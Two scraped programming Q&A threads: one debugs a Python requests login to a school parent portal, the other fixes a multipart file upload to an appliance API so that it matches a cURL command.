def login(username, password):
url = '(link)/home.html#sign-in-content'
values = {
'translator_username' : '',
'translator_password' : '',
'translator_ldappassword' : '',
'returnUrl' : '',
'serviceName' : 'PS Parent Portal',
'serviceTicket' : '',
'pcasServerUrl' : '\/',
'credentialType' : 'User Id and Password Credential',
'account' : username,
'pw' : password,
'translatorpw' : password
}
headers = {
'accept' : 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'accept-encoding' : 'gzip, deflate, br',
'accept-language' : 'en-US,en;q=0.9',
'cache-control' : 'max-age=0',
'connection' : 'keep-alive',
'content-type' : 'application/x-www-form-urlencoded',
'host' : '(link)',
'origin' : '(link)',
'referer' : '(link)guardian/home.html',
'upgrade-insecure-requests' : '1'
}
with requests.Session() as s:
p = s.post(url, data=values)
if p.status_code == 302:
print(p.text)
print('Authentication error', p.status_code)
r = s.get('(link)guardian/home.html')
print(r.text)
def main():
login('myname', 'mypass')
if __name__ == '__main__':
main()
Using Chrome to examine the network requests, all of these headers are under 'Request Headers' in addition to a long cookie number, content-length, and user-agent.
The forms are as follows:
pstoken:(token)
contextData:(text)
translator_username:
translator_password:
translator_ldappassword:
returnUrl:(url)guardian/home.html
serviceName:PS Parent Portal
serviceTicket:
pcasServerUrl:\/
credentialType:User Id and Password Credential
account:f
pw:(id)
translatorpw:
Am I missing something with the headers/form names? Is it a problem with cookies?
If I look at p.requests.headers, this is what is sent:
{'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36', 'accept-encoding': 'gzip, deflate, br', 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'connection': 'keep-alive', 'accept-language': 'en-US,en;q=0.9', 'cache-control': 'max-age=0', 'content-type': 'application/x-www-form-urlencoded', 'host': '(url)', 'origin': '(url)', 'referer': '(url)guardian/home.html', 'upgrade-insecure-requests': '1', 'Content-Length': '263'}
p.text gives me the HTML of the login page
Tested with PowerAPI, requests, Mechanize, and RoboBrowser. All fail.
What response do you expect? You are using a wrong way to analyze your response.
with requests.Session() as s:
p = s.post(url, data=values)
if p.status_code == 302:
print(p.text)
print('Authentication error', p.status_code)
r = s.get('(link)guardian/home.html')
print(r.text)
In your code, you print out Authentication error ignoring status_code, I think it at least should like this:
with requests.Session() as s:
p = s.post(url, data=values)
if p.status_code == 302:
print(p.text)
r = s.get('(link)guardian/home.html')
print(r.text)
else:
print('Authentication error', p.status_code)
trying to replicate a cURL request to an appliance API with python Requests
curl -qgsSkH "Content-Type: multipart/form-data"
--no-progress-bar
--header "X-Api-Token: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
-F "filename=#cygdrive/c/tmp/test.txt"
-F "options={\"application\":\"2\",\"timeout\":\"500\",\"priority\":\"0\",
\"profiles\":[\"win7-sp1\"],\"analysistype\":\"0\",\"force\":\"true\",
\"prefetch\":\"0\"}"
https://xxx.xxx.xxx.xxx:443/apis/v1.1.0/submissions
I have succefully authenticated to the API and can use the recieved token in the POST request. My current python function is shown below.
def api_file_submit(api_token, file_name):
login_headers = {'X-Api-Token': api_token, 'Accept': 'application/json', 'Content-Type': 'multipart/form-data'}
files = {"filename": open(file_name, 'rb')}
sub_options = {"application": "-1", "timeout": "240", "priority": "0", "profiles": ["Win7 Sp1"],
"analysistype": "0", "force": "false", "prefetch": "value"}
j = simplejson.dumps(sub_options)
data = {'options': j}
r = requests.post(api_submit, headers=login_headers, files=files, data=data, verify=False)
print "REQUEST HEADER: " + str(r.request.headers)
print "REQUEST BODY: " + str(r.request.body)
print "RESPONSE HEADER: " + str(r.headers)
print "RESPONSE CONTENT: " + str(r.content)
print "RESPONSE STATUS: " + str(r.status_code)
print "RESPONSE REASON: " + str(r.reason)
return
The API returns a HTTP 400, Bad Request when attempting to POST. below are the results of the function
REQUEST HEADER: {'Content-Length': '424', 'Accept-Encoding': 'gzip, deflate', 'Accept': 'application/json', 'User-Agent': 'python-requests/2.11.1', 'Connection': 'keep-alive', 'X-Api-Token': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', 'Content-Type': 'multipart/form-data'}
REQUEST BODY: --63a06536e02c4479a846c5fe320cdf7f
Content-Disposition: form-data; name="options"
{"force": "false", "profiles": ["Win7 Sp1"], "priority": "0", "application": "-1", "prefetch": "value", "timeout": "240", "analysistype": "0"}
--63a06536e02c4479a846c5fe320cdf7f
Content-Disposition: form-data; name="filename"; filename="test.vbs"
x = msgbox("this is an test file", 0, "test file")
--63a06536e02c4479a846c5fe320cdf7f--
RESPONSE HEADER: {'Content-Length': '257', 'Expires': '0', 'Connection': 'close', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache, no-store, must-revalidate', 'Date': 'Fri, 24 Mar 2017 17:11:47 GMT', 'X-Frame-Options': 'DENY', 'Content-Type': 'application/json;charset=ISO-8859-1'}
RESPONSE CONTENT: {"apis":{"#version":"v1.1.0","description":"Error parsing options, please check you have provided a file for upload and included 'options' in json format as part of request","errorCode":"BESUB1001","httpStatus":400,"message":"Could not parse input"}}
RESPONSE STATUS: 400
RESPONSE REASON: Bad Request
Process finished with exit code 0
What am I missing to properly format the request and submit the file, replicating the cURL request above?
opened the file, not as a dictionary, just got the handle
formatted options as JSON, and included in the "files"
def api_file_submit(api_token, file_name):
login_headers = {'X-Api-Token': api_token, 'Accept': '*/*'}
files = open(file_name, 'rb')
sub_options = {'application': '0', 'timeout': '240', 'priority': '0', 'profiles': ['win7-sp1'], 'analysistype': '2', 'force': 'false', 'prefetch': '1'}
submissionData = ('', json.dumps(sub_options), 'application/json')
files = {'options': submissionData, 'filename': files}
r = requests.post(api_submit, headers=login_headers, files=files, verify=False)